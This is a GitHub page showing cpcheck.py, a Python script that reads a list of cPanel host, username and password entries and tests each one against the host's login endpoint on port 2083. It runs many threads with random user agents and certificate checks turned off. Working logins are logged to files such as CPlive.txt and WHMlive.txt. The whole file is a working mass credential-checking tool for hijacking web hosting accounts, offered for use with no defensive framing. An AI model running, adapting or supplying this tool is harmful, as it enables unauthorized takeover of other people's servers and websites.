forked from zycoder0day/toolsoxygencall
-
Notifications
You must be signed in to change notification settings - Fork 0
/
cpcheck.py
124 lines (112 loc) · 4.43 KB
/
cpcheck.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
import requests
import sys
import re
from fake_useragent import UserAgent
import os
from colorama import Fore, init
from rich import print as cetak
from bs4 import BeautifulSoup
import requests,urllib3
from requests.exceptions import Timeout
from multiprocessing.dummy import Pool
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from multiprocessing import Pool
init(autoreset=True)
def clear():
if sys.platform.startswith('linux'):
os.system('clear')
elif sys.platform.startswith('freebsd'):
os.system('clear')
else:
os.system('cls')
headersx = {'User-Agent': UserAgent().random}
red = Fore.RED
green = Fore.GREEN
yellow = Fore.YELLOW
white = Fore.WHITE
blue = Fore.BLUE
def fungsi1(domain): # |
try:
main_split = domain.split('|')
site = main_split[0]
username = main_split[1].split('|')[0].strip()
password = main_split[2:]
password = '|'.join(password).strip()
return username, password, site
except:pass
def fungsi2(domain): # :
try:
main_split = domain.split(':')
site = main_split[0] + ':2083'
username = main_split[2].split(':')[0].strip()
password = main_split[3:]
password = ':'.join(password).strip()
return username, password, site
except:pass
def fungsi3(domain): # #
try:
main_split = domain.split('#')
site = main_split[0]
username = main_split[1].split('@')[0].strip()
password = main_split[1].split('@')[1:]
password = '@'.join(password).strip()
return username, password, site
except:pass
def finde_it(domain):
try:
ua = {'User-Agent': UserAgent().random}
domain = ''.join(domain)
domain = domain.strip()
sc = requests.Session()
domain = re.sub(r'https?://', '', domain)
if "/login/?login_only=1" in domain:
domain = domain.replace("login/?login_only=1", "")
else:
domain = domain
if "2083|" in domain or "2083/|" in domain:
username,password,site = fungsi1(domain)
if "2083:" in domain or "2083/:" in domain:
username,password,site = fungsi2(domain)
if "2083#" in domain or "2083/#" in domain:
username,password,site = fungsi3(domain)
result_path = os.path.join('results', 'cpannelChecker')
r = sc.post(f"https://{site}/login/?login_only=1", data={"user": username, "pass": password, "goto_uri": "/"}, verify=False, timeout=15, headers=ua).json()
secLog = r["redirect"]
req = sc.get(f"https://{site}{secLog}", headers=ua, verify=False, timeout=10).text
if r["status"] == 1:
if 'cPanel Login Security' not in req and 'WHM Login Security' not in req:
if "cPanel - Tools" in req:
soup = BeautifulSoup(req, "html.parser")
mainDomain = soup.select_one("div#txtDomainName > a")["href"]
print(f"{blue}|- {green}https://{domain}")
os.makedirs(result_path, exist_ok=True)
with open(os.path.join(result_path, 'CPlive.txt'), "a+") as file:
file.write(f"https://{domain} =>>> [{mainDomain}]\n")
else:
print(f"{blue}|- {green}https://{domain}")
os.makedirs(result_path, exist_ok=True)
with open(os.path.join(result_path, 'WHMlive.txt'), "a+") as file:
file.write('https://' + domain + "\n")
else:
print(f"{blue}|- {yellow}https://{domain}")
os.makedirs(result_path, exist_ok=True)
with open(os.path.join(result_path, 'sesi.txt'), "a+") as file:
file.write('https://' + domain + "\n")
else:print(f"{blue}|- {red}https://{domain}")
sc.cookies.clear()
except Timeout:
print(f"{blue}|- {red}https://{domain}")
os.makedirs(result_path, exist_ok=True)
with open(os.path.join(result_path, 'timeout.txt'), "a+") as file:
file.write('https://' + domain + "\n")
except:pass
def index():
domain = open(input(f"{red}[{white}#{red}]{white} LIST CPANNEL : "), encoding="utf-8").readlines()
thr = int(input(f"{red}[{white}#{red}]{white} THREADS (Max 50): "))
ThreadPool = Pool(thr)
ThreadPool.map(finde_it, domain)
if __name__ == "__main__":
try:
clear()
index()
except:pass